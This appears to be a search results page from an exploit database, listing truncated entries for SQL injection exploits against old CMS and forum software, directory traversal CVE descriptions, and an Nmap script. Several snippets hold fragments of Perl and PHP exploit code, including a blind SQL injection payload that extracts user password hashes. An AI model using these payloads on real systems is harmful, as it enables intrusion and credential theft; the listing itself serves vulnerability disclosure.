3120 matches found
REDPEACH CMS - SQL Injection
REDPEACH CMS - SQL Injection Vulnerability http://www.redpeach.de/ Vulnerability discovered by: LidlosesAuge Greetz to: -=Player=- , Suicide, g4ms3, enco, Palme, GPM, karamble, Free-Hack Date: 23.12.2008 Admin Panel: Target/admin/login.php Description: The Files "index.php" and "page.php" contain...
Userlocator 3.0 - Blind SQL Injection
Userlocator 3.0 - Blind SQL Injection !/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage:...
Userlocator 3.0 - Blind SQL Injection
!/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage: usrlocsploit.pl url user id\nExample:...
Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit
Exploit for unknown platform in category web applications =================================================== Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,"...
Lizardware CMS 0.6.0 - Blind SQL Injection
!/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers where userid=$userid"; return $send; for1..3...
phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl --------------------------------------------------------------- phpBB 3 Mod Tag Board = 4 Remote Blind SQL Injection Exploit by athos - stakerathotmaildotit http://bx67212.netsons.org/forum/viewforum.php?f=3...
phpBB 3 (Mod Tag Board <= 4) Remote Blind SQL Injection Exploit
Exploit for unknown platform in category web applications =============================================================== phpBB 3 Mod Tag Board = 4 Remote Blind SQL Injection Exploit =============================================================== !/usr/bin/perl...
asn-query NSE Script
Maps IP addresses to autonomous system AS numbers. The script works by sending DNS TXT queries to a DNS server which in turn queries a third-party service provided by Team Cymru using an in-addr.arpa style zone set up especially for use by Nmap. The responses to these queries contain both Origin...
WP Comment Remix 1.4.3 Remote SQL Injection Exploit
No description provided by source. ?php / WP Comment Remix 1.4.3 SQL Injection Proof of Concept By g30rg3x g30rg3xatchxsecuritydotorg Advisory: http://chxsecurity.org/advisories/adv-3-full.txt PoC Mirror: http://chxsecurity.org/proof-of-concepts/wp-comment-remix-143.zip Attention: This is a...
PHP infoBoard v.7 Plus Multiple Remote Vulnerabilities
No description provided by source. ========================================================== PHP infoBoard V.7 Plus Multiple Remote Vulnerabilities ========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground...
phpinfoboard-sqlxss.txt
========================================================== PHP infoBoard V.7 Plus Multiple Remote Vulnerabilities ========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...
Apache Tomcat's default security policy is too open
The default catalina.policy in the JULI logging component in Apache Tomcat 5.5.9 through 5.5.25 and 6.0.0 through 6.0.15 does not restrict certain permissions for web applications, which allows attackers to modify logging configuration options and overwrite arbitrary files, as demonstrated by...
Invision Power Board <= 2.3.5 Remote SQL Injection Exploit
No description provided by source. ?php errorreportingEALL; /////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////// // IPB = 2.3.5 sql injection exploit // Version 1.0 // written by Janek Vind "waraxe" //...
Quicksilver Forums 1.4.1 - SQL Injection
Quicksilver Forums 1.4.1 - SQL Injection ?php / . vuln.: Quicksilver Forums 1.4.1 forums Remote SQL Injection Exploit . download: http://www.quicksilverforums.com/ . . author: irk4zatyahoo.pl . homepage: http://irk4z.wordpress.com/ . . greets: all friends ; . . this is PoC exploit / $host = $argv...
Ultrastats 0.2.142 - players-detail.php Blind SQL Injection
Ultrastats 0.2.142 - players-detail.php Blind SQL Injection !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; ! Discovered.: DNX ! Vendor.....: http://www.shooter-szene.de | http://www.ultrastats.org ! Detected...: 29.06.2008 ! Reported...: 04.07.2008 ! Response...: xx.xx.2008 ! Background.:...
Triton CMS Pro (X-Forwarded-For) Blind SQL Injection Exploit
No description provided by source. !/usr/bin/perl -w Triton CMS Pro X-Forwarded-For Blind SQL Injection Admin's username/hash disclosure exploit Benchmark method, so take a coffee and relax Coded by GiReX use LWP::UserAgent; use HTTP::Request; ifnot defined $ARGV0 print "\nUsage: perl $0 host pat...
Directory traversal
Directory traversal vulnerability in phpi/rss.php in Ourvideo CMS 9.5, when registerglobals is enabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the prefix parameter...
CVE-2008-2976
Multiple directory traversal vulnerabilities in TinX/cms 1.1, when registerglobals is enabled, allow remote attackers to include and execute arbitrary local files via directory traversal sequences in the 1 language parameter to a includeme.php, b admin/ajax.php, and c...
CVE-2008-2976: Improper Limitation of a Pathname to a Restricted Directory
Multiple directory traversal vulnerabilities in TinX/cms 1.1, when registerglobals is enabled, allow remote attackers to include and execute arbitrary local files via directory traversal sequences in the 1 language parameter to a includeme.php, b admin/ajax.php, and c...
SMF <= 1.1.4 COOKIE[topic] SQL-Injection Exploit
Здравствуйте, Зараза. Поддержим отечественного произодителя. SMF = 1.1.4 COOKIEtopic SQL-Injection Exploit www.simplemachines.org Уязвимость заключается в неопределенном параметре $topic. Атакующий может определить его значение и выполнить произольный SQL-запрос в базу данных приложения...